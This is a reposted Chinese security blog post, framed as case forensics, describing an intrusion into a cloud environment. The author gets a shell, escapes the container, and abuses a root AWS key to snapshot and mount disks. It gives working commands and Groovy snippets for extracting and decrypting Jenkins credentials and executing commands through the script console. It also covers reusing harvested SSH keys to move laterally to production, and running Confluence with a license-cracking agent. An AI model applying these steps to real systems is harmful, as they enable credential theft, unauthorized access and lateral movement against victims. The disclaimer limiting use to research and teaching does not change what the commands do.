【web3案件实战】jenkins数据取证与confluence数据恢复

admin 2024年7月14日00:32:36评论42 views字数 3997阅读13分19秒阅读模式

【web3案件实战】jenkins数据取证与confluence数据恢复

前言:某次案件实战,通过某漏洞拿到了shell,但是dev环境,逃逸,拿到accessKey之后,发现机器没有agent,并且无法利用60s公钥写入进行getshell的操作。

拿到磁盘快照

由于是root权限的accessKey,在看了所有资源之后,发现有ecr(docker镜像仓库),先恢复了,把jar包先脱一份,用于后续代码审计。命令如下:

aws ecr get-login-password --region ap-southeast-1 | docker login --username AWS --password-stdin ****.ecr.ap-southeast-1.amazonaws.com
docker pull ****.ecr.cn-northwest-1.amazonaws.com.cn/****:latest
docker run .....
docker cp

然后看其他机器,发现有两台机器,均打不回来,找一个匿名aws,将硬盘打个快照进行同步,之后再对应区域新建ec2服务器实例,将进行挂载。

lsblk -l
mkdir /test
mount /dev/xvdb4 /test

苦逼的翻文件

主要关注信息:

.bash_history
.ssh
nginx.conf
/var/spool/cron
hosts
.aws
/home/*user
还有其他7788的应用,比如xxljob,springboot相关,php架构相关代码,gitlab,jenkins,nexus,confluence

jenkins取证

一般情况下jenkins在/var/lib/jenkins/下。初始密码在/var/lib/jenkins/secrets/initialAdminPassword。admin密码/var/lib/jenkins/users/admin_8670027049149483231/config.xml,bcrypt加密的,比较难解密。管理员凭据会被保存在文件中,还有一些其他情况比如一些插件,也会将部分凭据持久化在文件中,格式如 AQAAABAAAAAQVA5BRFI/O5YC8pCYEBViv66xWc0HTIqYujz3N3bPWRM= 这样的都是密码,这样的密码可以被解密,但是需要两个文件。

/var/lib/jenkins/secrets/master.key
/var/lib/jenkins/secrets/hudson.util.Secret

这个两个文件都是二进制格式的,直接拖回来,或者编码之后取回来。jenkins下载的源码/var/lib/jenkins/workspace,构建执行Shell或执行命令,来进行部署。这一块记得仔细做一下信息搜集(主要看Jenkinsfile、Dockerfile),会有不一样的发现。

【web3案件实战】jenkins数据取证与confluence数据恢复

保存密钥的文件,通常为/var/lib/jenkins/credentials.xml,还有个存ssh的xml,jenkins.plugins.publish_over_ssh.BapSshPublisherPlugin.xml。简单写了个shell,快捷读取

cmd() { echo "::::::::::::::$@::::::::::::::"; eval $@; echo; }
list() { for file in $@; do cmd "cat $file"; done; }
cmd "cat /test/var/lib/jenkins/secrets/master.key | base64 -w 0"
cmd "cat /test/var/lib/jenkins/secrets/hudson.util.Secret | base64 -w 0"
list /test/var/lib/jenkins/credentials.xml
find . -name "*.xml" | xargs grep -rni "AQAAA"
【web3案件实战】jenkins数据取证与confluence数据恢复

如果没拿到服务器权限,但是可以账号密码进入后台后,那么执行groovy相关操作。

// base64读取Secret
println new File("/root/.jenkins/secrets/master.key").text
println new File("/var/lib/jenkins/secrets/hudson.util.Secret").text.bytes.encodeBase64().toString()

// 写文件操作,应该可以直接写计划任务,暂时没尝试过。
new File('/tmp/abc').withWriter('utf-8') { writer -> writer.writeLine '4 line'; writer.writeLine '5 line' }

// 解密
println(hudson.util.Secret.decrypt("{AQAAABAAAAAgQI+cpXwSulM5zcFv14L5eODWtRDiP1HBCY/*********}"))

// 获取敏感文件
new File("/root/.jenkins").eachFileMatch(~/.*.xml/) { File it-> println it.name }

// 执行命令
println "ifconfig -a".execute().text


......其他命令自行发掘。

拿到master和Secret之后,直接脚本解密就好了。(脚本太长了,后台回复jenkins即可),拿这个aws为例,最后解出来Secretkey如下图所示。

【web3案件实战】jenkins数据取证与confluence数据恢复
【web3案件实战】jenkins数据取证与confluence数据恢复

或者解出来私钥,对其进行验证公钥,然后根据搜集到的公钥,确实能ssh shell的机器。

ssh-keygen -y -f ssh_id_rsa(私钥,记得给权限 chmod +x 600)
【web3案件实战】jenkins数据取证与confluence数据恢复

此时拿到通用的ssh私钥,就可以进一步登陆其他机器进行取证。比如利用通用dev私钥再次登录dev环境,看看有没有遗漏什么信息,比如docker起的gitlab(未将数据volumes映射到本地)等。一般都是配置多个私钥,只要确定环境(dev,prod,uat....)就可以连接。

confluence取证

顺便看到了confluence,写一下吧,感觉跟nexus恢复差不多,直接挂载就好了。

/home/ec2-user/wiki/confluence/

把这个目标打包拖回来

然后找一个docker-compose.yml,volumes修改为如下参数。把数据映射到docker中去。

volumes:
      - /****/confluence/opt/confluence:/opt/atlassian/confluence
      - /****/confluence/var/confluence:/var/atlassian/confluence

然后docker-compose up -d启动就好了。一般情况下,是/var拖回来映射过去就好了,他这里/opt下载是confluence本体。这里贴一个docker-compose.yml作为参考:

version: '3'
services:
    confluence:
        image: "atlassian/confluence-server:7.9.3"
        volumes: 
            - /opt/confluence:/opt/atlassian/confluence
            - /var/confluence:/var/atlassian/confluence
            - ./atlassian-agent.jar:/var/atlassian/atlassian-agent.jar
            - ./mysql-connector-java-8.0.22.jar:/opt/atlassian/confluence/confluence/WEB-INF/lib/mysql-connector-java-8.0.22.jar
        environment:
            - JAVA_OPTS="-javaagent:/var/atlassian/atlassian-agent.jar"
            - JVM_MINIMUM_MEMORY=2048m
            - JVM_MAXIMUM_MEMORY=2048m
            - JVM_RESERVED_CODE_CACHE_SIZE=512m
        ports: 
            - "8099:8090"
        restart: always
        depends_on:
          - db
    db:
      image: postgres:15.4-alpine
      environment: 
      - POSTGRES_PASSWORD=postgres
      - POSTGRES_DB=confluence
【web3案件实战】jenkins数据取证与confluence数据恢复

confluence作为一个wiki文档,一般都会存放一些开发数据,比如堡垒机相关信息,开发环境服务器账号密码,swagger api接口信息,代码片段等。最终经过大量信息搜集,成功拿到prod环境服务器权限。下机,学新东西~

原文始发于微信公众号(安全光圈):【web3案件实战】jenkins数据取证与confluence数据恢复

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月14日00:32:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【web3案件实战】jenkins数据取证与confluence数据恢复https://cn-sec.com/archives/2951573.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息